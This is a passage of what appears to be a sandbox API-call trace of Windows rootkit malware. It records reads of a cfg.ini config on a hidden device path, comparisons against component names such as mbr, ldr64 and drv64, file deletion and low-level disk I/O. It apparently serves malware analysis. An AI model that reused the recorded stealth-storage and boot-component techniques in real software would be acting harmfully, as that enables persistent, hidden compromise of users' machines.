ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.260] ExFreePoolWithTag (P=0xfffffa8003bdbeb0, Tag=0x0) [0119.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.260] KeLeaveCriticalRegion () [0119.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.260] ReleaseMutex (hMutex=0xf0) returned 1 [0119.260] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.260] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.260] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.260] KeEnterCriticalRegion () [0119.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.260] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.260] IdePortDispatch () returned 0x103 [0119.260] KeWaitForMutexObject () returned 0x0 [0119.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.261] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.261] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.261] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.261] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.261] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbd00 [0119.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.261] KeLeaveCriticalRegion () [0119.261] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.261] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.261] KeEnterCriticalRegion () [0119.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.261] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.261] KeLeaveCriticalRegion () [0119.261] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.261] KeEnterCriticalRegion () [0119.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.261] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.261] IdePortDispatch () returned 0x103 [0119.261] KeWaitForMutexObject () returned 0x0 [0119.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.261] KeLeaveCriticalRegion () [0119.261] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.261] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.261] KeEnterCriticalRegion () [0119.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc2000 [0119.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.262] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.262] IdePortDispatch () returned 0x103 [0119.262] KeWaitForMutexObject () returned 0x0 [0119.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.262] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.262] IdePortDispatch () returned 0x103 [0119.262] KeWaitForMutexObject () returned 0x0 [0119.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.262] KeLeaveCriticalRegion () [0119.262] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.262] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.263] KeEnterCriticalRegion () [0119.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.263] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.263] KeLeaveCriticalRegion () [0119.263] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.263] KeEnterCriticalRegion () [0119.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.263] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.263] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.263] KeLeaveCriticalRegion () [0119.263] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.263] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.263] KeEnterCriticalRegion () [0119.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.263] ExFreePoolWithTag (P=0xfffffa8003bdbd00, Tag=0x0) [0119.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.263] KeLeaveCriticalRegion () [0119.263] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.263] ReleaseMutex (hMutex=0xf0) returned 1 [0119.263] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.263] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.263] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.263] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.263] KeEnterCriticalRegion () [0119.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.263] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.263] IdePortDispatch () returned 0x103 [0119.263] KeWaitForMutexObject () returned 0x0 [0119.263] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.263] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.263] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.263] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.263] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.264] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.264] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.264] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.264] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.264] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.264] KeLeaveCriticalRegion () [0119.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.264] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.264] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.264] KeEnterCriticalRegion () [0119.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.264] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.264] IdePortDispatch () returned 0x103 [0119.264] KeWaitForMutexObject () returned 0x0 [0119.264] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.264] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.264] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.264] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.264] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.264] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.264] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.264] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.264] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.264] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.264] KeLeaveCriticalRegion () [0119.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.264] ReleaseMutex (hMutex=0x100) returned 1 [0119.265] Sleep (dwMilliseconds=0x2bf20) [0119.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a4a6910, dwHighDateTime=0x1d24fa4)) [0119.271] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.271] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.271] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.272] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.272] KeEnterCriticalRegion () [0119.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.272] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.272] IdePortDispatch () returned 0x103 [0119.272] KeWaitForMutexObject () returned 0x0 [0119.272] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.272] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.272] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.272] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.272] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.272] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb1b0 [0119.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.272] KeLeaveCriticalRegion () [0119.272] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.272] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.272] KeEnterCriticalRegion () [0119.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.272] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.272] KeLeaveCriticalRegion () [0119.272] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.272] KeEnterCriticalRegion () [0119.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.272] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.272] IdePortDispatch () returned 0x103 [0119.272] KeWaitForMutexObject () returned 0x0 [0119.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.273] KeLeaveCriticalRegion () [0119.273] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.273] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.273] KeEnterCriticalRegion () [0119.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.273] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc5000 [0119.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.273] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.273] IdePortDispatch () returned 0x103 [0119.273] KeWaitForMutexObject () returned 0x0 [0119.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.273] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.273] IdePortDispatch () returned 0x103 [0119.273] KeWaitForMutexObject () returned 0x0 [0119.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.273] KeLeaveCriticalRegion () [0119.273] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.274] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.274] KeEnterCriticalRegion () [0119.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.274] KeLeaveCriticalRegion () [0119.274] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.274] KeEnterCriticalRegion () [0119.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.274] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.274] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcb270, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.274] KeLeaveCriticalRegion () [0119.274] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.274] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.274] KeEnterCriticalRegion () [0119.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.274] ExFreePoolWithTag (P=0xfffffa8003bcb1b0, Tag=0x0) [0119.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.274] KeLeaveCriticalRegion () [0119.274] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.274] ReleaseMutex (hMutex=0xf0) returned 1 [0119.274] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.274] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.274] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.274] KeEnterCriticalRegion () [0119.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.274] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.275] IdePortDispatch () returned 0x103 [0119.275] KeWaitForMutexObject () returned 0x0 [0119.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.275] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.275] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.275] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.275] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.275] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb6e0 [0119.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.275] KeLeaveCriticalRegion () [0119.275] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.275] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.275] KeEnterCriticalRegion () [0119.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.275] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.275] KeLeaveCriticalRegion () [0119.275] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.275] KeEnterCriticalRegion () [0119.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.275] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.275] IdePortDispatch () returned 0x103 [0119.275] KeWaitForMutexObject () returned 0x0 [0119.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.275] KeLeaveCriticalRegion () [0119.275] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.276] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.276] KeEnterCriticalRegion () [0119.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.276] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, 